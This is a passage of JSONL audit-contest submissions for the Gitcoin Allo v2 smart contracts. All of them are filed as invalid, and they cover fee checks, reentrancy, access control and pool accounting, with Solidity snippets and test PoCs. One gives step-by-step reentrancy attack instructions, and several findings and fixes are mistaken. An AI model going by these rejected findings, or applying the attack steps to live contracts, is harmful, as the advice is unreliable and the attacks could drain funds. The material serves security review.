AuditTest is AlloTest {\n function test_audit_revertOnBaseFee() public {\n vm.startPrank(local());\n allo().updateBaseFee(100);\n allo().updatePercentFee(0);\n vm.stopPrank();\n\n vm.deal(pool_admin(), 1 ether);\n\n vm.startPrank(pool_admin());\n\n // ok\n allo().createPoolWithCustomStrategy{value: 101}(\n poolProfile_id(),\n address(new MockStrategy(address(allo()))),\n \"0x\",\n address(token),\n 0,\n metadata,\n pool_managers()\n );\n\n // create mock strategy before vm.expectRevert\n address mock = address(new MockStrategy(address(allo())));\n\n // will revert\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: 100}(\n poolProfile_id(),\n mock,\n \"0x\",\n address(token),\n 0,\n metadata,\n pool_managers()\n );\n }\n}\n```\n\n## Impact\nIncorrect work of the `Allo.createPoolWithCustomStrategy()` and `Allo.createPool()` functions.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\nManual Review\n\n## Recommendation\nReplace the condition to `(_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/068.md"}} +{"title":"_getPayout function is not consistent in different pools","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# _getPayout function is not consistent in different pools\n_getPayout function is not consistent in different pools. \n## Vulnerability Detail\n'_getPayout' function shows [total bid for RFP pool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L488), same as [for Donation pool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L700). \n\nBut for QV pool it shows payout [only if it wasn't sent yet](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L569-L573).\n\nAs this is just view function it can create bad UX. However, in case if any integrations are planned, then this should be reviewed.\n## Impact\n_getPayout function is not consistent in different pools\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI believe that all of them should show same result(or total payment or what is left to pay).","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/067.md"}} +{"title":"In case if recipient's address is blocked by token, then he can't receive funds","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# In case if recipient's address is blocked by token, then he can't receive funds\nIn case if recipient's address is blocked by token, then he can't receive funds\n## Vulnerability Detail\nIn all pools user can provide address, were tokens should be sent after. User is generally able to change this address at any pool, but only for some period. For example for RFP pool, it's possible only when pool [is active](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317), for QV pool only [when active registration](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L373) and [same for Donation pools](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L531).\n\nWhen this period has ended, user can't change recipient address. As result in case if this address is blocked by token, then he will not be ablt to receive payment.\n## Impact\nUser can't receive funds\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd ability for receiver to change payment address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/066.md"}} +{"title":"Allo contract doesn't check that pool's token exists","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# Allo contract doesn't check that pool's token exists\nAllo contract doesn't check that pool's token exists, which allows owner to set up pool for deterministic token without paying a fee.\n## Vulnerability Detail\nWhen new pool is created, then creator should pay [base fee](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478) to the protocol. Also when someone funds pool, he should also provide [some percentage as fee](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514).\n\nIn order to handle transfers [protocol uses `SafeTransferLib.safeTransferFrom`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L78). The problem is that this function doesn't revert for non-contract address call.\n\nThere are many token addresses that are deterministic. Some protocols are trying to deploy their token on different chains with same address. Also it's possible to predict the address of next token that will be created for a uniswap pool, for example(using create, create2 inputs). In the same way organisation that is going to deploy own token can predict token address before it's created.\n\nThis allows to create pools without paying base fee and funding fee.\nFor example organisation that is going to deploy own token can create several pools before it's deployed and avoid paying base fee. Or it can also fund these pools and later just transfer token to avoid paying funding fee.\n## Impact\nOrganisations have approach to avoid paying fees for non deployed deterministic tokens. \n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck that token is already deployed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/065.md"}} +{"title":"Incorrect initialization of `Allo.sol` contract and other issues","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# Incorrect initialization of `Allo.sol` contract and other issues\nIncorrect initialization of `Allo` contract\n\n## Vulnerability Detail\n## Impact\n\nThe `Allo.sol` contract inherits `ReentrancyGuardUpgradeable` contracts but does not invoke the individual initialzer during its own initialization. \n\n```Solidity\ncontract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable, Errors {\n```\n\nDue to which the state of `ReentrancyGuardUpgradeable` contract remains uninitialized.\n\n```Solidity\nFile: allo-v2/contracts/core/Allo.sol\n\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n```\n\nDue to this issue, In ReentrancyGuardUpgradeable the `_status` storage variable is never initialized and the `_status` must be set for the correct working of `nonReentrant` \n\n```Solidity\nFile: contracts/security/ReentrancyGuardUpgradeable.sol\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n```\n\nFor the correct working of `nonReentrant`, the `_status` must be equal to `_NOT_ENTERED` which is the first condition of `_nonReentrantBefore()` which can be checked as below.\n\n```Solidity\nFile: contracts/security/ReentrancyGuardUpgradeable.sol\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n>> // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n```\n\nTherefore `__ReentrancyGuard_init()` must be initialized in `Allo.initialize()` function for correct initialization.\n\nAnother issue is, `Allo.sol` is an upgradeable smart contract and therefore to avoid any compatibility issues instead of `AccessControl`, the contract must used `AccessControlUpgradeable.sol` contract from openzeppelin. The other imported contracts from openzeppelin are upgradeable expect the AccessControl.sol. \n\nIf the normal AccessControl.sol contract is used in an upgradeable contract, you will not be able to upgrade the contract. This is because the normal AccessControl.sol contract is not designed to be upgraded.\n\nWhen you upgrade a contract, you are essentially replacing the old contract code with new code. However, the normal AccessControl.sol contract does not have a mechanism for upgrading the roles that have been granted to accounts. This means that if you upgrade a contract that uses the normal AccessControl.sol contract, the roles that have been granted to accounts will be lost.\n\nTo avoid this problem, you should use the AccessControlUpgradeable.sol contract in your `Allo.sol` contract. The AccessControlUpgradeable.sol contract module is designed to be upgraded, and it has a mechanism for preserving the roles that have been granted to accounts.\n\nIn addition, openzeppelin states,\n\n> Initializer functions are not linearized by the compiler like constructors. Because of this, each __{ContractName}_init function embeds the linearized calls to all parent initializers.\n\nTherefore, to mitigate the issues the recommendations should be considered.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87-L105\n\n## Tool used\nManual Review\n\n## Recommendation\n\n```diff\n\n- import \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\n+ import \"openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol\";\n\n- contract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable, Errors {\n+ contract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControlUpgradeable, ReentrancyGuardUpgradeable, Errors {\n\n\n // some code\n\n\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n\n+ __AccessControl_init(); @audit // since we are inheriting the AccessControlUpgradeable and __AccessControl_init is an empty function and does not required to be initialize and it is optional but for better clarity it is shown here\n\n+ __ReentrancyGuard_init(); @audit // now the ReentrancyGuard will be initialized with status as _NOT_ENTERED\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/064.md"}} +{"title":"Removed Allocator still have counting votes","severity":"info","body":"Rapid Lead Cricket\n\nmedium\n\n# Removed Allocator still have counting votes\nIn the quadratic voting strategy, allocator have to be validated allocators , once they are they can submit votes.\nHowever if they are removed as valid allocator we can suppose it is because they acted in a malicious way, if this happen they are prevent to votes for futures distribution but there votes are still counting which is, I think a problem.\n\n## Vulnerability Detail\n\nIn the quadratic voting strategy, allocator have to be validated by pool managers using `addAllocator()` function, once they are they can call `allocate()` with correct parameters to allocate their votes to choose the percentage amount each recipients will receive of the pool amount. \nIf an allocator acts in a bad way pool managers can still remove her/his approval by using \n```solidity\nfunction removeAllocator(address _allocator) external onlyPoolManager(msg.sender) {\n allowedAllocators[_allocator] = false;\n emit AllocatorRemoved(_allocator, msg.sender);\n}\n```\nHowever, as you can see in the above code, when an allocator is removed ,their voting privileges are revoked but the votes they have previously cast still impact the system.\n\nTo mitigate this, it would be beneficial to implement a mechanism that also removes the votes cast by the removed allocator.\n\n## Impact\nIn this quasi centralized system (poolManager choose who votes and choose which recipient is accepted and which is not) , If a validated allocator act badly there is no way to remove it's votes from the voting system and this could influences in a bad way amount of tokens received by accepted recipients.\nHaving a way to eliminate votes of a removed allocator would safeguard the protocol.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L97C1-L102C1\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a mechanism to remove bad allocator when removing their approval, you could even improve it by integrating a boolean that choose to remove their votes or not if an allocator has to be removed for other reason than because he/she acted badly.\n```solidity\nfunction removeAllocator(address _allocator) external onlyPoolManager(msg.sender) {\n allowedAllocators[_allocator] = false;\n // Loop through all recipients and reduce their totalVotesReceived by the amount the removed allocator voted for them\n for (address recipientId : recipientAddresses) {\n uint256 votesCastToRecipient = allocators[_allocator].votesCastToRecipient[recipientId];\n recipients[recipientId].totalVotesReceived -= votesCastToRecipient;\n \n // Reset the votes cast to this recipient by the allocator\n allocators[_allocator].votesCastToRecipient[recipientId] = 0;\n totalRecipientVotes -= votesCastToRecipient;\n }\n\n emit AllocatorRemoved(_allocator, msg.sender);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/062.md"}} +{"title":"Missing nonReentrant checks","severity":"info","body":"Fantastic Wool Raccoon\n\nfalse\n\n# Missing nonReentrant checks\n\nhe createPoolWithCustomStrategy functions lack a reentrancy guard, which may expose the contract to potential reentrancy attacks.\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L144\n\n## Vulnerability Detail\nThe absence of a reentrancy guard in these functions means that an external attacker could potentially exploit them to perform reentrant calls, allowing them to manipulate the contract's state in unintended ways.\n\nMedium\n\n## Impact\nWithout proper reentrancy protection, an attacker could exploit these function to perform malicious actions, such as draining funds or disrupting the contract's intended behavior. This could result in financial losses or other unexpected behavior in the contract.\n\n## Code Snippet\n```solidity\n// Vulnerable function without reentrancy guard\nfunction createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n) external payable returns (uint256 poolId) {\n \n return _createPool(_profileId, IStrategy(_strategy), _initStrategyData, _token, _amount, _metadata, _managers);\n}\n\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address the reentrancy vulnerability in the createPoolWithCustomStrategy functions, consider adding a reentrancy guard at the beginning of each function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/057.md"}} +{"title":"RFPSimpleStrategy owner can change recipient at any time","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# RFPSimpleStrategy owner can change recipient at any time\nRFPSimpleStrategy owner can change recipient at any time\n## Vulnerability Detail\n`_allocate` function can be called [only when pool is active](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391). It will [set recipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L395) and will [make pool inactive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L406).\n\nSo recipient will start work and submit milestones. But owner can [change pool to active](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222) at any time and then call `_allocate` again with new recipient. In such way he can get job done for free. \n## Impact\nOwner can change recipient at any time. \n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nThere should not be ablity to change recipient. Or at least there should be evidence that he doesn't provide milestone or his milestone is rejected.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/056.md"}} +{"title":"Owner can change milestone percentage when recipient already submited milestone","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# Owner can change milestone percentage when recipient already submited milestone\nOwner can change milestone percentage when recipient already submited milestone\n## Vulnerability Detail\n`RFPSimpleStrategy.setMilestones` is called by owner to provide amount of milestones and payout percentage for them.\nIt's not allowed to change this, once [at least 1 milestone is accepted](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L228). This makes sense as deal is agreed and it's not fair to change distribution.\n\nHowever, owner still can change milestones as many times as he wishes, before he accepts 1 milestone. This is wrong, because recipient may already submited that 1 milestone and now owner has ability to decrease payment for milestone or change milestones amount. \n## Impact\nOwner has ability to full recipient.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI believe that once milestones are submitted, then they should not be changed. Or give ability to change them as many times as needed, but when some flag is marked that means that work has begun and no more changes allowed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/054.md"}} +{"title":"RFPSimpleStrategy doesn't have ability to witdraw contract's balance","severity":"info","body":"Savory Boysenberry Cobra\n\nmedium\n\n# RFPSimpleStrategy doesn't have ability to witdraw contract's balance\nRFPSimpleStrategy doesn't have ability to witdraw contract's balance\n## Vulnerability Detail\nRFPSimpleStrategy can be created for different tokens. It's possible that it will be created for non native token. But contract also has ability to [top up it with native token](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L500).\n\nIn this case it will [not possible to withdraw](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L300) as it uses pool token. So owner wil not be able to recover those funds.\n## Impact\nFunds will stick in contract.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd ability to withdraw native token.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/051.md"}} +{"title":"Unauthorized Registration Allowed in Specific way","severity":"info","body":"Prehistoric Blue Coyote\n\nmedium\n\n# Unauthorized Registration Allowed in Specific way\nall details in the vulnerability details see the vulnerability details \n## Vulnerability Detail\nthis line determines the `recipientId` based on whether the isUsingRegistryAnchor flag is true or false. If it's true, `recipientId` is set to `registryAnchor`, otherwise, it's set to `_sender.` so the issue lies in how `recipientId` is determined when `isUsingRegistryAnchor` is true.\n```solidity\nrecipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n```\nin this function \n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n virtual\n override\n onlyActiveRegistration\n returns (address recipientId)\n {\n address recipientAddress;\n address registryAnchor;\n bool isUsingRegistryAnchor;\n\n Metadata memory metadata;\n\n // decode data custom to this strategy\n if (registryGating) {\n (recipientId, recipientAddress, metadata) = abi.decode(_data, (address, address, Metadata));\n\n // when registry gating is enabled, the recipientId must be a profile member\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n (recipientAddress, registryAnchor, metadata) = abi.decode(_data, (address, address, Metadata));\n isUsingRegistryAnchor = registryAnchor != address(0);\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // when using registry anchor, the ID of the recipient must be a profile member\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n // make sure that if metadata is required, it is provided\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n // make sure the recipient address is not the zero address\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n Recipient storage recipient = recipients[recipientId];\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.metadata = metadata;\n recipient.useRegistryAnchor = registryGating ? true : isUsingRegistryAnchor;\n\n Status currentStatus = recipient.recipientStatus;\n\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n }\n\n```\n- so for more details when `registryGating` is enabled the registryGating is true and The _data is expected to be decoded with (recipientId, recipientAddress, metadata) and The recipientId is set to the provided recipientId, which must be a profile member.\n- now we clear so when `registryGating` is disabled the registryGating is false.\nand The _data is expected to be decoded with (recipientAddress, registryAnchor, metadata) and The recipientId is determined based on registryAnchor if it's not the zero address, otherwise, it's set to _sender.\n- so the issue arise when registryGating is enabled and registryGating is true, and isUsingRegistryAnchor is also true. In this case, recipientId is set to registryAnchor, it doesn't ensure that registryAnchor is a profile member.\n\nas an exapmle let's say : \n- `registryGating` is enabled `registryGating` is true.\n- The contract enforces that only registered profile members can perform certain actions, such as registering recipients.\n- _data is encoded as `(recipientId,` recipientAddress, metadata).\nNow the scenario is : \n- A malicious user let called YAN, YAN deploys a contract and interacts with our smart contract.\n- YAN sets registryGating to true, enabling the registry gating feature.\n- YAN creates a fake recipientId that is not a registered profile member within the system.\n- YAN sets isUsingRegistryAnchor to true.\n- YAN now encodes _data as (fakeRecipientId, recipientAddress, metadata) and sends this data to the _registerRecipient function.\n## Impact\nthe vulnerability allows unauthorized users to register recipients when `registryGating` is enabled, and also bypassing the intended access control mechanism. This can lead to unauthorized access or manipulation of data within the system\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L391\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369C3-L431C1\n## Tool used\nManual Review\n## Recommendation\ncheck to ensure that registryAnchor is indeed a profile member before setting it as the recipientId.\n```solidity\nif (registryGating && !_isProfileMember(registryAnchor, _sender)) {\n revert UNAUTHORIZED();\n}\nrecipientId = registryAnchor;\n```\nthis will revert with an \"UNAUTHORIZED\" error if registryGating is enabled and registryAnchor is not a profile member.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/045.md"}} +{"title":"Reentrancy in Allo.sol createPoolWithCustomStrategy","severity":"info","body":"Flat Seaweed Platypus\n\nhigh\n\n# Reentrancy in Allo.sol createPoolWithCustomStrategy\nThe function `createPoolWithCustomStrategy()` in the Allo.sol contract contains a critical reentrancy vulnerability, which can be exploited by a malicious actor through creating a custom strategy with a fallback function with the sole purpose of reentering the Allo contract `_fundPool()` function.\n\n## Vulnerability Detail\nThe root cause of the vulnerability is the lack of a reentrancy guard in the `createPoolWithCustomStrategy()` in Allo.sol line 144.\n\nIn order to reproduce the attack the following steps are to be taken:\n\n1. Register a profile in Registry.sol using the `createProfile()` method.\n2. Create a custom strategy as shown in the #Code Snippet and upload it to the EVM, the strategy only requires the `initialize()` `getPoolId() ` and `getAllo()` methods to pass as a valid custom strategy for the attack scenario.\n3. Add a fallback function targeting any function in the Allo.sol contract, however in this case the target is the public `fundPool` method.\n4. Create a custom strategy by calling the `createPoolWithCustomStrategy()` function and using the malicious strategy address as the `_strategy` argument.\n\nIf all other inputs are correct the execution flow will be as follows:\n \n1. Allo.sol `createPoolWithCustomStrategy()` line 144\n2. `_createPool()` line 415\n3. `_fundPool()` line 502\n4. Transfer.sol `_transferAmountFrom()` line 70 \n5. SafeTransferLib.sol `safeTransferETH()` line 64\n6. Attack.sol `fallback()`\n7. Allo.sol `fundPool` line 339\n8. `_fundPool()` line 502\n9. Transfer.sol `_transferAmountFrom()` line 70\n10. SafeTransferLib.sol `safeTransferETH()` line 64\n11. Attack.sol `fallback()`\n\n## Impact\nThis attack allows an attacker to call the fund pool function consecutively resulting in a missed `increasePoolAmount()` call for the prior strategy, which could lead to inconsistent pool states across the protocol.\n\n\n## Code Snippet\n`function createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable returns (uint256 poolId) {`\n\n## Tool used\nHardhat\n\nManual Review\n\n## Recommendation\nUse a reentrancy gaurd in the `createPoolWithCustomStrategy` in Allo.sol\nUse force variants in the soladay SafeTransferLib.sol library","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/044.md"}} +{"title":"Allo.sol#fundPool will always revert because missing approve","severity":"info","body":"Winning Mercurial Ferret\n\nhigh\n\n# Allo.sol#fundPool will always revert because missing approve\nFunction `fundPool` will always revert because there no have approve from user to Allo contract to spend his tokens\n## Vulnerability Detail\nIn `_fundPool` contract using `_transferAmountFrom` function to send tokens from user to `treasury` and `_strategy` but there no have approve from user to Allo contract to spend his tokens and function will always revert which will bricks the entire function.\n## Impact\nUsers can't fund pool and can't create pool because missing approve from users to contract to spend his tokens\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n## Tool used\n>PoC\n```solidity\nfunction testExpectRevert_createPool() public {\n allo().addToCloneableStrategies(strategy);\n\n vm.prank(pool_admin());\n vm.expectRevert();\n allo().createPool(\n poolProfile_id(),\n strategy,\n \"0x\",\n address(token),\n 100e18,\n metadata,\n pool_managers()\n );\n }\n ```\n \n Result: \n ```solidity\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ [2867] MockERC20::transferFrom(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 1000000000000000000 [1e18]) \n ā”‚ ā”‚ ā””ā”€ ā† \"InsufficientAllowance()\"\n ā”‚ ā””ā”€ ā† 0x7939f424\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.11ms\n ```\nManual Review\n\n## Recommendation\nAdding aprove request before make transferFrom\n```diff\nfunction _fundPool(\n uint256 _amount,\n uint256 _poolId,\n IStrategy _strategy\n ) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n+ _token.approve(address(this), _amount);\n //code\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/043.md"}} +{"title":"Funds are stuck because of missing subtraction","severity":"info","body":"Brief Silver Porcupine\n\nmedium\n\n# Funds are stuck because of missing subtraction\nIn the QV strategy poolAmount is not decreased after distribution.\n\n## Vulnerability Detail\nIn the [**distribute** function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465), the **poolAmount** is not decreased after distribution. This leads to wrong accounting. Imagine the following scenario:\n\n1. Pool is funded with 400 tokens.\n2. Funds get distributed, but poolAmount is left 400, not 0.\n3. Pool gets funded with 300 tokens more, poolAmount becomes 700.\n4. A new distribution is scheduled between two recipients with shares 20% and 80%.\n5. The first recipient should get 60 (20% of 300) tokens, but now he will receive 140 (20% of 700).\n6. Now there are not enough funds for the second recipient and the whole transaction will revert.\n7. The funds are stuck in the contract.\n\nThe fact that the contract allows [updating](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L295-L302) the allocation and registration timestamps means that it is possible for a manager that does not know about this bug to try to distribute a second time.\n\n## Impact\nLoss of funds.\n\n## Code Snippet\n```jsx\n function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n Recipient storage recipient = recipients[recipientId];\n\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nBefore the distribution starts, create a variable that will keep track of how many tokens will be distributed. \n```jsx\nuint256 distributedTokens;\n```\n\nUpdate the variable for each recipient.\n\n```jsx\ndistributedTokens += amount;\n```\n\nAfter the loop deduct it from the **poolAmount**,\n\n```jsx\npoolAmount -= 